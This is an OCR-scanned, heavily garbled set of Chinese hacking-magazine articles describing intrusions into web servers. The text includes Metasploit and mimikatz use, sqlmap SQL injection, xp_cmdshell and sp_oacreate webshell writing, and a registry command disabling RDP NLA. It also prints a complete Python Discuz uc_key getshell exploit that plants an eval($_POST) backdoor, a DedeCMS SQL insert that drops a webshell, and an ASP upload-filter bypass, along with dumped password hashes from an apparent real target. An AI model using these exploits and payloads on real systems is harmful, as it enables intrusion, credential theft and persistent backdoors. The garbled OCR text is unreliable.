exploit(handler) > set Iport 443Iport => 443msf exploit(handler) > exploit

use multi/handler AN ARFEIE . BB T THIPI N ZEOR 9 1 FEALE https 4, By ik = 4bd iy,
R rb by 7w LAk 25

SessionCommunicationTimeout=0  SessionExpirationTimeout=0

B a1 b B R RIEA B meterpreter tIE A . HT/&H AT udf RGAURH
AT FT LATT L #2 gethash, W1 1-2-7:

K 1-2-7

& meterpreter {4513 A WRLL.

meterpreter > load -/
espia

incognito

lanattacks

mimikatz

pivot

priv

sniffer

stdapi

1R4F mimikatz tHAERAE HLIHT T, BHE WA, a1k 1-2-8:

K 1-2-8
WIEIF R RGH P, BOARA AP EZW. query user i) T, & 1-2-9:
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1lesh Mws0OL}

e e et L Wl AR

“Program Files\MySQL\MySQL Server .E-.ﬂ'mat.a:-f

B 1-2-9
(58 TiiT4niE: &5 _sharow

7 BEBERAKE (32T 3389 5 NLA)

fE#: ettack

KH: EERIE - FackTeam

Wk:  http://team.fack.org/

WAR EWIR T, i S EAE, EAHEEERZ LS HEE 1, MEATER T, kS
FURTEIE . JRANTE, K ST IRINIA 215 .

WR— AR, HORVIKIK, SRR ST 3389 W A NLA IF4)

H#rifi: target.com

FWEFR, 984, FHFMAAN, AR,

0x00 ¥EA

SARA P EM, SR T RAE, MEEAEAN, WK 1-3-1:

A  test v

:Q:;Eﬂ: (AR NNE

:1:5'%'1’&%55: (AN V
CEREE: @l O4A &

*EB{UERR:  company : R R

, | zclil
BERA: .
B o1-3-1
FF burpsuite #E— B, #ifl, KiXF| repeater, WIK 1-3-2, 1-3-3, 1-3-4:
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Burp Intruder Repeater Window Help

Target | Proxy T Spider TScanner T Intruder I Repeater IS«aquenoer Tﬂemder T_C

J Intercept T History T COptions ]

Reguest to

[ Forwrard J l Crop J [ Intercept i= on J l Action J

JMT Params I Headers T Hex ] Y :3"3""3' to Spider .
- S £De an active stan
GET /AjaxAreaCheck.aspx?companyl . - L

Host: - Sendt

Proxv-Connection: keep—alive

LR R TN W & o
B 132
1 Go Cancel u »

Request Response

[ Raw. | params | Headers | Hex | | Raw | Headers | Hex

GET ' HTTPSL.1 200 OK
fAjaxhreaCheck. aspx ?companyname=test'¥2I0ands20'a' ='a&_ P Cache-Control: priva
=13873E8342159 HTTP/1.1 Content-Type: text/h
Host Vary: Accept-Encodin
Proxy-Connection: keep-alive Server: Hicrosofo-IL
Accept: ®/® ¥=hapNet=Version: Z.|
X-Bequested-Vich: XMLHtopReguestc X-Powered-By: ASP.NE'
User-Agenc: Mozilla/5.0 (Vindows NT £€.2: WOWE4) Date: Wed, 18 Dec 20
AppleWebKic/537.3€ (EHTHL, like Gecko) ntent-Length ™yl
Chrome/29.0.1547.7€ Satari/537.3¢& £ T
DNT: 1 |
Befere: :
Accepet-Encoding: ¢zip,detlace, sach lrlt}r Team
K 133
['w]m]umlm] B Jmlnm]m]
ET Ta  HTTP/1.1 200 OK
AjaxireaCheck.aspx?companyname~test ' v20andi20'a’='be_ < Cache-Control: private
1387368342159 RTTP/1.1 — Content~-Type: text/html; charset=g
ost: Vary: Accept~Encoding
roxy~-Connection: keep-alive Server: Microsoft~-115/7.5
ccept: */* X=AspNet-Version: 2.0.50727
=Recquested-¥ith: XMLHttpRequest X=FPovereg 4 3P MET .
ser-Agent: Mozilla/S.0 (¥Windows NT €.2; WOWE4) Date: Wefl, S DeclhiDis 13549444 G
ppleVebKic/537.3€ (KHTML, 1like Gecko) Content HES 3 -
]r;;?mi/_s.o.xsqv.vc Satari/537.36 (-) .”nty Team
B 13-4
1% H sqlmap:

Python sqlmap.py —u “http.//target.com/AjaxAreaCheck.aspx?companyname=test” —thread=10 —random-agent

—passwords

IRELE sa %0 hash, R a]ANZE. 223K xp_cmdshell, KR IBFER, Wil 1-3-5:

[SQL]exec xp_cmdshell 'set’
[Err] 42000 - [SQL Server]EiiT xp_cmdshell 8318558, @ "CreateProcefs’ ka3 12001, ET

urity Team
K 1-3-5

0x01 £ shell 24X
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B R, 65 webshell ik, F xp_subdirs $F Wk 4 xf #5458, K5 5 NS

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject’, @o out
exec sp_oamethod @o, 'createtextfile’, @f out, 'File to write', 1

exec @ret = sp_oamethod @f, 'writeline’, NULL, 'File content'

X R A=A ORI BRI, I B aspx —H)iEE 2 index.html B2 1, F2d0E
B, KJEE, JHERE g, B, —UIEME LT e 2 EHEshfEE
BNt E], MR S R A

Whf, WFIRER, JREE KK DU HERS 5 bt, ARF—RFHEMICR 7. 8 710, RJIE
WAz, WUPATaT S, BUREUL, =ilH iis7 1) exp 38480, EHIEEI).

0x02 % 3389

RN TEAETTE, sE 2R OTHE, E2| system BRIEANE, LEX 3389 T &F-...
L% 3389, JoAR=AIpik:

LI
2.Shift 51
3R AP IR

T8 — AN RS, A T B el — AR 2R 5.
ek 3389, R AIBLMANGFER, MA LRI BRI SRR, XML
ik shift J5171, 4nf 1-3-6:

%
e
N e

HAATRRIEIE
S EEIS T

administrator
Microsofticcounthadministrator

IR S E - =

[mrs=

A .-

i MicrosoftAccount

[iDEsRa=E

[, X =F
(™) EEFEmEIN(O) = e —+ EEETIW) !
T rity Team

K 1-3-6
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Google 2., K windowsserver 2008 X H T NLA (NetworkLevel Authentication), 7 L% &if
JRNE B, (BE B 7R R & SR AE « AN — MRS SRR, FRIRAE W] U s
RNAKERE, B —FFIRN google 124, FKEIT7i%:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v "SecurityLayer" /t
REG_SZ /d "0"

2 BAE R B AR, MOAUERSGSER, ZIFESMERRT. TRFETE = 28K, b
f& wee x64, -w ZEERE A SCFEMS, .
0x03 45iE
HWRBES R B, MR aedEd shift J51 15k 3389, 18 %] windowsserver 2008 [1]
NLA BE, {§45 shift 5T 1o Rz f, BT DL 5 e iy 1 21 42 i

(58) FiiTYmts: &5 _sharow

837  Discuz X FH uc_key getshell exp 5 uc_key EE BIE®
BEg

fE#: jinglingshu
KH: EEWIE — FickTeam
Wk http://team.fack.org/

—. Discuz X1.5 X2.5 X3 F uc_key 3K get webshell

uc_key #& UC %% F7 i 5 AR 55 S 3815 FOEAE 2540 o IR A uc_key K getshell 2 GEFREL UCenter

Client f] webshell, Bl Discuz! 1% H] webshell.

W — AR5 %% E A UCenter Server s AR uc_key SKIRHUZIR 545 1 1) webshell [
(CAitaT LUEIT uc_key ¥ k2528 EREARFFHEH - 04, JaHd).

90 73 E 1] php iR exp fA1Y uc_key A1 url S2 R AFEARRSGH 1), b FEAEH AL E. BrLh

PAGACRS K python kI, LAEEREL T T .

ARBSUNR

#! Jusr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = "):
ckey_length =4
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key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result ="
box = range(0, 256)
rndkey = dict()
foriin range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])
j=0
foriin range(0,256):

j = (j + box[i] + rndkeyl[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp
a=0
j=0
foriin range(0,string_length):

a=(a+1)%256

j=(j+box[a]) % 256

tmp = box/[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) * (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', ")

def get_shell(url,key,host):

K&y I webshell
headers={'Accept-Language':'zh-cn’,
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)’',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code

datal=""<?xml version="1.0" encoding="1SO-8859-1"?>
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<root>
<item id="UC_API">http://xxx\');eval(S_POST[1]),//</item>
</root>""
try:
req=urllib2.Request(url,data=datal,headers=headers)
ret=urllib2.urlopen(req)
except:
return " i/ i £
data2=""<?xml version="1.0" encoding="1SO-8859-1"?>
<root>
<item id="UC_API">http.//aaa</item>
</root>""
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"

return "webshell:"+host+"/config/config_ucenter.php,password:1"

1 1

if _name__=='_main__":

host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"

print get_shell(url,key,host)

R 7%, wE 1-1-1:

F:~code>python uc_key.py http:/slocalhost :8888-d= B4sB7hEZnSnefBeZMZFBa3¥Y8k7GH 1
eEb7PBG2HE 1cDAVE 08b1D8pcub p??IE487D9

webhzhell:-http:/~localhost 8080 dz/ config-config_ucenter.php password:1

B 111
BIEE — DS HOE M IR ER1E, 38 AN HUE uc_key.
FRELA] webshell /& 7E /config/config_ucenter.php 1], 1K 1-1-2:

—a_

| config_ucenter.php —"u_:'ga - — - - -

IHF) #wEE) BI0) =ENV) FEEIH)
K7php

define U UC_CONNECT', °7);

define " UC_DBHOST', 'localhost’);

define " UC_DBUSER’, “root’);

define " UC_DBEW, *7J;

define " UC_DBNANME', "ultrax )

define (" UC_DBCHARSET', “utf® );

define  UC_DBTABLEPRE", * "ultrax .pre_ucenter J:
define " UC_DBCONNECT, 0J;

define " UC_CHARSET", “utf-8");

define U UC_EEY', °B4s0TbEZnSnefReN2F0a3T8kTG6IELT0G2EFL cDOVFOOL1DEp cubp TTSE42TDY ) ;
define CUC_APT", “http://aaa’ );eval (§_POSTL11): /7 );

define U UC_APPID', 17 );

define C UC_TP', °115.28.12.135 ); &
define U UC_PPP’, 200: ' !

rity Team

B 1-1-2
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ps: RIS GRS, A4 G A RKITHIED py2exe KW HA KN exe, FHL KK
WMAE BB, S REHECER— TFIE, 207 discuz x2.5. x3+ x3.1 TR
B

ps:uc_key A LATE discuz JG & &, B A& ik 25 (1 B SO A 3R EL
Pilal discuz H 3% FHY admin.php G 6, £ “3iK 7 -> “UCenter & B ” FKAEH uc_key.
wnp 1-1-3:

& = M | @ iocalhost:2080/d=2.5/upload/admin.php? @ B C| @ 5=<con- 2| @~ &I~

IEEAMERAL Discuz! IBEFEEMEFELA . EEREHE TEEEHE

Liscuz.: HE 25 B AE HP NP itls B0 =5 A TR fEF’E.“UCenter

Control Panel

it = UCenter i85 [+]

ST
HFHEES
FEAL BSiET
e FigfTrsao i EshE . —fERTIETEEN, EaiFE T config/config_ucenter.php Zrff. LIEALEHERES
HiigREE
B FREiik UCenter Bf ID:
P [1 {EALEIESTE UCenter (A 1D, — RIS RIETERED
Ein ]
TTEETHE UCenter #{S555H:
|iB7Y9E9u61d81m25eJ8ESCaGbT5xf4c'Y8 BIEEEFAR T UCenter 30 Discuz! zial&EHiEERYI0E . Al
LLTRIFFAE RARHas ERBIE
UCenter jhiolihk:
[nttp://localhost: 8080/dz2.5/upload/uc_ fNSRIERY UCenter {HIaMES & TR, TSIERULIN- T EREYS
HE=: http:/fwww.sitename.com/uc_server (G S-2h00/")
UCenter IP Hidi:
[127.0.0.1 SRR AR R SR A kiRt s ihia UCenter, B[R UCenter
r i
UCenter ZiEHE: q4 \5
Powered by Discuz! X2.5 @ #iEESE SRREOAAT, hin '.':T‘] = 2EEU E[tly,t Team:
Ko 1-13
VRO
250k

1. http://pan.baidu.com/s/1bn5qcTT

2. http://pan.baidu.com/s/1c0gl500

. M uc_key ATEERIR (B uid N 1K) (R HEE

I SRE ) UC_KEY, B E B IRIAF R RN, JHERZ RN EEAEEER
F P SR i O VA ANE F T uid v 1 B9 CRIEPBE D, DR Sbs A i (45 28 63 P P 7
MR AN E 2 A A 2 1) dz J5 & (B EE B R uid v 1 KRR .

H bR &: http://192.168.32.101/dz/ . B HE 51 jinglingshu, 2 7 /NS testl il test2. uc_key
N B4s07bE2n5nef8e2M2F0a3Y8k7G6leEb70G2Kf1cDOVfO0Ob1D8pcubp773E487D9

Hbr: HE test1 WA H4, WK 1-1-4:

€ BB | @ 192.168.32.101/dz/home.php?mod=spacefwid=2 Q@ B -clE--s=<xcik- Pl & - H - Bl- & S BAl- & - @ - &

AT Wi,

HXzhh L vept2 | E | GHE | 282 | Bo

DiIscuz! g2 FEAR: ST L8

wr - [BY v = = dsa

tastl <A EEEL

test1, ~——— £
ttp://192.168.32.101/dz/?2 =
=m AEH
test1(UID: 2)
RS FRIE WFAE FINE T a \E
SHTHER EAN 0 | ESST 0 ESEN 0 ) —
- urity Team
K o114
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A LLE B testl FI 0 uid N 2, B E SRR

1. A dz. £ “U5K” -> “UCenter B E 7 H1EEX UCenter &, RJEHRAF. —EEik
B0, H2E w0 & R Sl . &0 o eI E S .
A 1-1-5:

Control Panel —
i » UCenter iF [+]

FEEEEAR [1 E{EALAIESTE UCenter FIRFA 1D, —fRIE!
mF iR P ——

enter {3 :
HEHRY
UCenter 32 |s?HcQF?ﬁdeb16y?W55ep2FjD:{eUbW8 B{EEAHETT UCenter 30 Discuz! = EHEHT

; SHRENS EEIAE

SR LRIEFRE RIS EERE
P& UCenter jallitht:
W 7% [http://192.168.32.101/dz/uc_server ANSRAFE UCenter iialitht s TREEE iR
FEAE #t: http://www.sitename.com/uc_server
TEERTHR UCenter IP Hht:
kM

|192.168.32.101 SRR B AR R UCenter. Al

UCenter ZE#H -
0 #iEEER FREQADR, a0 Ucenter BIE:MAITIE
@ #OA er #l{EE

%mﬁgmwg:
@2 0%

ERATEE

BERT SRR g EET W

@ =

wered by Discuz! X3
MWMA1M1T Camecans Trr

K 1-1-5
2. Ay “THE” > “HWGAL” REHEA. RIGE B/ > “Umm /7 hishngs
BHEP, WK 1-1-6, 1-1-7, 1-1-8:

) FENRRMA) Discuz! BREMFRELS.
DISCUZ! " 28 N N’F;HP el ¥ =E PR ITA Z¥Fa Bk L

Control Panel

AR Eems [+)

SR RS R

Eam s

RFER mpg: ©

S [test1

EEFNAR £ B ‘\k
mFE (123456

M Email:

Bt 1P

MaLE {a@aq.coml J
WEWERS -

BigE l;;;:__tg -

K 116
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" RN AT

Discuz! #i45

BREEEHTE, BHFNE BERENEY
HENAAEIRL MR FERER

| A |

K 117

AP test1 /U 2} 5-*45;3.[,_;, b

K 1-1-8

ps: RGN DAAFAE, S TEAEEE, LR,
3. AEAMBMIA I ER, JHESCELAERR 2R, Wk 1-1-9:

Contral Panel

RFEE
A A
AFEE
R
REERH
EEFHLEH
A FiTE
EitAA
E= 1]

R dEE
R
‘E1EE
A

wered by Discuz! X3
N01-013. Comsenz Tnc.

AR » mEAR [+]

WP - testl

] ML

HiHRE:

EnE#(0) RE(0) HEO) 4880 HE=(0)
TEERE: O/

INRT BRI AES,

R R REsRAREE

Email:

|23@qq.com
MEEEEs: 9092900 VT

mE @K

K 119

4, FILE testd [ FH N BB 5 250 123456, FFiEIG T 2240120, {3 testl Al 123456 &
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Rl Ak 2, i 1-1-10:

@ 192.168.32.101/dz/forum.php @ B c| @ sk P & - HIT - fi - 8- #- G- & ZRE-
i @
- Lrestt BE | HE R BN g
V4 l a2 FFE: FiFLR

EE - a il Eih 2ok discuz

4 .'
120070 | &5: 1 | Bgi=s: jingingshu T Q. =
Surity Team

1-1-10

S X Gk}

http://pan.baidu.com/s/1i3BPywl

=. f¥H uc_Key EE& vid 5 1 KA P &G

L EAER T vid A 1A, uid N1 R PRSESEE AT

M OEHE—FE, HArubsSE: http://192.168.32.101/dz/. & ¥R jinglingshu, 7N
testl il test2. uc_key A
B4s07bE2n5nef8e2M2F0a3Y8k7G6leEb70G2Kf1cDOVFOOb1D8pcubp773E487D9., L AL T -

1. AHEE dz. FE, LREETIESEHEE BN EES 5 Hiru S — N HE P4,
MAZERIN admin, ZAGNEE, WE 1-1-11:

| | @ localhost:8080/dz/install/index.php?step=3atinstall_ucent & 77 ] C &~ BEx<cdsr- P @~ H ~

3. B=EE

MEEIME EEIETINE BIEREIRRE
@

ESHREREE

EERERE localhost DOEERRE SR, £

EES: ultrax

RS root

HEREES:

HiEEaR: pre_ AR ET S et

E45E5 Email: admin@admin.com BTa=EFE=ES
ESEEREE

EEAKS: jinglingshu

EEREE: sesnne EERERE SRS

EEEE: [ITTITY

SR Email: admin@admin.com -

4CK (%
surity Team
K 1-1-11

2. F TR 1 —FEE PR ucenter % & . 7E “35K” -> “UCenter % &7 H41 UCenter W &,
R RT. —EEEFZO A, AT RTINS AR S BE. 25 R EEE
SRR E TS . S “THR” -> “HEss” REmsfs, K 1-1-12:

68 mi/3 122 T EIE: http://t.qq.com/hackcto WAERHB: 48 15 H . gk



(Z25%) — (5 BL AT B 75 M35k : www.hackcto.com Zk £ 45 : HACKCTO-201507-31

Control Panel —
i5f » UCenter 38 [+]
2 EEEEHFEA |1 EEAY RS UCenter B 1D —#E!
° HHFRE ——
enter &3 :
o R
o UCenter 2= |s?Hcgf?ﬁsbdb16y?w55epEBUXeUbW8 BE{EE5AHE T UCenter 30 Discuz! F EHEHI
L SHHCNEEEIR(E
> sEE L IRIRFRE RiRRS EERIE
o AR UcCenter ihioliii:
R EaE |http://192.168.32.101/dz/uc_server ANSRIEHY UCenter WIS £ TorE . iR
< EEhE ¥t http://www.sitename.com/uc_server
o TEETHER UCenter IP Hit:
= ARk
|192.168.32.101 ERTRIRRS R k@il ke UCenter, Al
UCenter ZE#H
© #EER FAFEOATRT, hodn Ucenter B{ERMAIE
BOARL er #igREE
EARATHEEARSRES
2 0OF EER AIrSRTAssEE wEST. m
R 4aCk
wered by Discuz! X3 = ﬂ_——_ BRSPS E"ﬁ“fih&*’raam;

B 1-1-12
3. BHURHE dz & B AL FRIE R A P iR, aniE 1-1-13:

HAEE BEAP - jinglingshu  GE1EIE
EMES .
\

e <
Ehat I essf
s iR
EEFNAD ; g

. E94d(0) wR(0) BHEQ) 18#(0) HE()
BRiEE {2ifR9ig: O/
B2t 1P

= [111111 T AT RS
RARE

WA S FRAAE2RE:
e % OF IR ST T IO
AR
WFET BESWA S
WS o2 &
AT
Email:
Wibhe %
[admin@admin.com
3 i
AR 18 \5
owered by Dscuz! X3 S G
) 2001-2013, Comsenz Inc. O &= \cur‘ty Team

K 1-1-13
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4, Fd¥EAER, BEeuiSEE RO ae, Higkk TH P 2ein. SEHE
N R e R Ay ey =R A
K 1-1-14, 1-1-15:

b 192.168.32.101/dz/2dmin.php @ B c & 5=<cik- P &/~ B~ B~ @&

A& |jing|ingshu

| = = LW E F A %EE}:‘!L\;\ E o |ooo...| |
£ E: [Exegn [=]

Discuz! ;2 [&ifl fET Comsenz AF)#EERINH EAE =
R 2T, L — SR o B |—£‘ E F 4l | §

S Curity Team

1-1-14

€ > [ @ 19216832101/dz/2dmin.php? @ "0 v & Z=<cir- P

IEEAMERAR Discuz! BERHNEE. HRITF
LISCULZ. Pl 5 Tl g AP MNP itlE B3 =5 BA IR =FS @K UcCente

Control Panel

‘au [+]
ST =n] Discuz! Board 1R
EHEFER
F2iETW

HEEARETE, ARG SHolEFENEEEeREEE G TIE GRHE . EN=@iE300E
SE"ZF&->HilDiscuz! = F & "Hil thhis

EEEFEEHE . Ti% Discuz! BA~maliE - T8 - B HhE - ]
I 4; 6
[ i [ [P S

B 1-1-15
ps: PR AR R R g, RPECEICICHEK . WERSE, Kb,
(&358) TilEdntE: %5 _sharow

%977 Dede J5 6 A X HEH RN shell ik

Ve NIBE

KH: EEWRIE — FackTeam

W4k http://team.fack.org/

L Ria—A> dede BB KA E BRAR G MR 7, Jovk bAL php SCfF, SR BEAT T HoAd )
IRERFRR T o EANTTEACATSEA Wl E I ) R, 3% 7 F. FE6——saL iy
LB —— AT

‘normbody’, ‘expbody’) VALUES
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(2000, 0, 0, 'indexTopBanner1', ' & 7 i &G M A -960*60', 0, 1297933028, 1300525028, '<?php
file_put_contents("fdck.php","'<?php eval(S_POST[nimeimei]);?>"); ?>', "),

WK 1-4-1:

v RRRE B

5¥33_addenspec (0) - s s
o RHEESH sygg_t:x%l\.\(l) . E  MERE fitkeir
o FGHAAEE RHERR: :;33_tdvmc§(fl§=arch(u) EEahE|  EELEE
e r33_ 8.
o MRiESE R bt o ) - mEEEn

o BRFENNATE
o RAREEE

o MIFEERE

o ERKEMRE

o BEXXERE
o RHHIERE

o PiREREA

o YRR E

o HhliESER

o HHRER{D/ITR
o SuAS LA EfsUASf: © WARS (EHE¥EE) O AL

o X (5] -

i INSERT INTO dede myad ( aid’, ‘clsid’, “typeid’, tagname , ‘adname’, timeset’, “starttime’,  endtime’, ‘normbody’, expbedy ) S T “)

o SREIHES) 2000, 0, 0, ’indexTopBanner!’, ' ETIREPSMAR-960#60', 0, 1297933028, 1300525028, ’ <?php file_put_contents(’ fdck. p}.y","@%: POSTI081) 250 1Y ,
o FtaR{EE(s] oy, y

; ity Team

BERS:

m

K 1-41
SRIG VIR http://site/plus/ad_js.php?aid=2000 Cid AJ LA H L #e), SCAFAERRALE:
/plus/fack.php, —HJUGE] L EAT & # L M (1), dedecms B iAN KSR AT LUIX AR !
(58 TilE9m’E: &5 _sharow

107 FEFREATEE

fE#: phithon
KH: EEWRIE — FackTeam
Wk http://team.fack.org/
GRS, WO R KB R 51 H o P EEARAEOX AN, BTGB 2 Fhn 81, 615 7 Bh B g ok
. NRTCH, BRI T —EBERMEE, B 10 FEETR AN (FRIdFRADBHEL
AP, HIAEER CA R FEARRIRE T o 5570l H R AL I Al 457 FH i IR 45 11
FTAREAI I —E RS, LA\ FEEA T
0x01
WVS 19— TRl &, FEAZLUGEK, W 1-2-1:
= [illy Web Alerts (33)

- @) HTML form without CSRF protection (5)

) User credentials are sentin dear text (1)

@ Clickjacking: X-Frame-Options header missing (1)

@ OPTIONS method is enabled (1)
: 0 Session Cookie without HttpOnly flag set (2)
o Session Cookie without Secure flag set (2)
@ session token in 2
@ Broken links (7)

@ Password type i
5 Knowledge Base

&

+|

BB

vith auto-completg,er;aﬂﬁ.
/S I

§ BB

K 121

BT B/3 122 T BE0E: http://t.qq.com/hackcto WAERHB: 48 15 H . gk




(k) —5 B SBE R B 75 P35 : www.hackcto.com Zk £ 45 : HACKCTO-201507-31

B— N4 K whois, 1H/21E ename.com FVEMET, 5EEBARNE R .. BB RIEFE 2 —
MY TS A M ANIEAE, 98 7L AN e nmap F1— R R IE 1156.0, 214
80. 1433, 3389 #iHFE. HIH—FHFMER 7 —L&Kb, WK 1-2-2:

K 1-2-2
web.rar 5 €A%, Jguanli MR E A AL T . FREYME, FIuE A asp M
v, BT CABOHE B — MO 2 . (HJE—& web.rar [P /heeeeee 1.5G, FADIKE TR,
EBp? AEMEEL T, WE 1-2-3:
BT HRAESE X
+ eeTirs NN E S M 2B
iR Fohs by A B
web.rar 1.51G F#iaLTh fTH WS
users.tar.gz 3.78G RELRLTH fIH #is
K 1-2-3
TG HEEE A E M B AE, W 1-2-4:
- -
Bl admngwaz.rar 21KB
[ admin_tjwz
a conn.asp 9858
index.asp 254KB -
EFEA LT 200N BILIERRERTR 87 i Vil
rity Team

B 124
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ATk T LA 2 R 3R web.rar FIARTE T

0x02

TRBNBE IR PR T RAME A access HE FEHISCAF, ATE SRS, FEAHKS
R Ut KB . IR, AR O I R S 2 L 7 KB T T —
TRAPE R H G, KOG G RAREMA (RE—FD, AEPANE G A e
e 59 1140 AEN— R R, 3T R SRS e YR . XA MuERIARZ, T

FE L T AN IRA R I e JEORE FE A2 sqlserver------7ERC B UM R R B H IS, A
sa S dbo, {HZEH: bl R A IK 5 %0 1, ] 1-2-5:
ID UserPass e, UserLevel xName
965eb72c92a549dd depmanager 100000
4 2ec543efb9c2flb4 depmanager 100003
239 965eb72c92a549dd reguser 100003
241. 22e6032df70ed3bb depmanager 105481
241 f5131d11e4901b3f reguser 105481
242 831f9d7f27f2c916 reguser 105481
243 e470f0cb5581884f reguser 105481
244 Oeeled47b99f42b8d reguser 105481
244 eelecf591fb06d63 reguser 105481
244 5d27c93dc9e6d573 depmanager 100322
245 2c75b23dc963c7eb reguser 100322
245 9a591f8161605364 reguser 100322
245 c246f0ad6006d919 reguser 100322
245 b5422ef7f507a445 reguser 100322
245 08c87f11b3fab7f6 reguser 100322
245 453a94571d350395 reguser 100322
245 49ba59%abbe56e057 reguser 100322
245 c3a171d716ea2221 reguser 100322
246 12fb632e2f3e6dbd reguser 100322
246 d8d5d3835bb424aa reguser 100322
246, 7d66bd84022a6d92 reguser 100322"
246 7c8b8f5d0bf70e7e er 100322
.r -
— S Lesacurity, Team
K 1-2-5
EEFEITA B B s B, WA UAS . — FERF 2T, W 1-2-6:
103006
103326
104115
104650
105209
107579
107994
109927
110174
116917
120329
120334
128514
175128
177434
184378
233486
252336
357411 "
3947 - Ry
14581 ity Team
K 1-2-6
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JIBR) i A O 0 J BB I o

0x03

KA A sqlserver FdE AT AANRE 2 3 4510 SR a2 B O, FCE OB,
AR E A TUAS, (H AR E A iS4 I0E, TMEUE X Em R T, AR
RedE

PR3, FET AERUER SRR . AEA— T R, SRR R R 1

<%

'set upload=new upload_file

filepath="uploadpic/" " LEEEE
set upload=new clsUp " LENR
upload.NoAllowExt="asp;asa;cer;aspx;cs;vb;js;" BB IR A

upload.GetData (3072000)  'H(7F - £ 5095, IR R A 115 3M

if upload.form("act")="uploadfile" then
'filepath="uploadpic/"
filelx=trim(upload.form("filelx"))
if cint(filelx)>3 then filelx="1"

i=0
for each formName in upload.File
set file=upload.File(formName)
fileExt=Icase(file.FileExt) FEEINI KA LA A
if file.filesize<10 then
response.write "<span style=""font-family: /£; font-size: Opt""> g JEEFEINZE [
IR E! [ <a href=# onclick=history.go(-1)> Z % - f£</a> ]</span>"
response.end
end if
if filelx="1" then
if fileext<>"gif" and fileext<>"jpg" then
response.write "<span style=""font-family: t£: font-size: 9pt""> N G& I
1% jpg 2t gif #52CHIAI A ! [ <a href=# onclick=history.go(-1)> 2 #f F- {%</a> ]</span>"
response.end
end if
if file.filesize>(300*1024) then
response.write "<span style=""font-family: /£; font-size: 9pt""> % A
BE L% 300K HIE /T XAE! [ <a href=# onclick=history.go(-1)> 7 - 14</a> ]</span>"
response.end
end if
end if
if filelx="2" then
if fileext<>"gif" and fileext<>"jpg" and fileext<>"swf" then
response.write "<span style=""font-family: /£ font-size: 9pt""> H G& I
1£jpg. gif #52CHTE - BE swf #5201 Flash X! [ <a href=# onclick=history.go(-1)> Z %7 - f&</a> ]</span>"

response.end
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end if
if file.filesize>(300*1024) and fileext<>"swf" then
response.write "<span style=""font-family: /£ font-size: 9pt""> R AN
BE F1E 300K HIEA XAE! [ <a href=# onclick=history.go(-1)> 7 [~ 1£</a> ]</span>"
response.end
end if
if file.filesize>(3000*1024) and fileext="swf" then
response.write "<span style=""font-family: X#£: font-size: 9pt""> 57 A5
BE L1 3M H9Flash XfFE! [ <a href=# onclick=history.qgo(-1)> E #r_I-1£</a> ]</span>"
response.end
end if
end if
if filelx="3" then
if fileext<>"htm" then
response.write "<span style=""font-family: /£ font-size: 9pt""> H G5 I
1Zhtm FEZCHIM T XAE! [ <a href=# onclick=history.go(-1)> Z #r I f£</a> ]</span>"
response.end
end if
if file.filesize>(300*1024) then
response.write "<span style=""font-family: /£ font-size: 9pt""> R A
FELA1E 300K H9MI I X fF! [ <a href=# onclick=history.qgo(-1)> E F#r_I- f£</a> ]</span>"
response.end
end if
end if
dtNow=Now()
randomize
ranNum=int(90000*rnd)+10000
'filenamel=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
filenamel=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) &
right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum
&"."&fileExt

filename=filepath&filename1

if file.FileSize>0 then "I FileSize >0 i 15 X1
'file.SaveAs Server.mappath(filename) " [(RIEX1F
upload.SaveToFile formName,Server.mappath(FileName)
if trim(upload.form("FormName"))=""then

%>

HAFE—ANSH filelx, CPFRAL,

2 filelx=1 HUIHEE, W AVF gif Al jog, 4 filelx=2, 0T gif+ jpg~ swf, 24 filelx=3, 2 {L¥F htm.
RIGET T, 587, % else!!

TR filelx 5% 0, RANGEN if 1B4], WEliRA A% RIGE T,

WK 1-2-7:
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Content-Disposition: form-data; name="filelx"

————————————————————————————— 43259778412
Content-Disposition: form-data; name="EditName"

———————————————————————————— 43@59¢€777@412 _3
Content-Disposition: form-daca 5 ei"FormName&\&

ity Team

K 1-2-7
MerE R FUOR I EAE R T, ] 1-2-8:
</styler<script>window.opener.document . system.logo.value='uploadpic/2014020500515336347.asp' </script>
<gcript language="javascript"»
window.alert ("000000! 0000000000000 ) ;

window.close();
</scripty

K 1-2-8
0x04
SZERFTIFRIL 404 FHiR----e
Lk 7 LR, N txt, FIFEEEZ RS, ERIIAR 404, LERHE, AKX
H BT 7, (E3GE T8RS A R I, FE B4 BANEA A BA RIGIE. B4 RIS T
asp/aspx/asa/cer, BT HAEAE R AT AT SO, HIF DRSS 4542 156.0, BT AR F @A
I, ESCOE A T, BAN MR ? SO RRE RS T, (R Eir A
KIoNFR Gt T A4 HIGE, T PAG 244 7] DME R . a3 fack.asp;.gif, 24 25 iy 44 il xxxxx.gif »
{HUN R H fack.asp;gif, BLEE iy 4 Al xoooxx.asp;gif, W] 1-2-9:
</§5tyle><script>window. opener . document . system.logo.value='uploadpic/2014020500521835489. asp;gif'</script>
<script language="javascript">
